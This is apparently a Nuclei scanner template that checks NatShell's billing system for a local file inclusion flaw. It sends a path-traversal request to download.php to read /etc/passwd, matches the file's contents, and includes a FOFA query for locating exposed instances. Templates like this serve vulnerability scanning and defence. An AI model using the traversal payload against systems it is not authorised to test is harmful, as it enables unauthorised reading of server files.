id: natshell-path-traversal

info:
  name: NatShell - Local File Inclusion
  author: pikpikcu
  severity: high
  description: NatShell is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    fofa-query: title="蓝海卓越计费管理系统"
  tags: natshell,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "toor:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8bc4b2f3d59816c8d0b76204ba3191ff017acae12f4139a6a42ff2cf8425c1102201b809a5685525cfb037922cb386c679930024e32d6c357781990d9846422b1d4:922c64590222798bb761d5b6d8e72950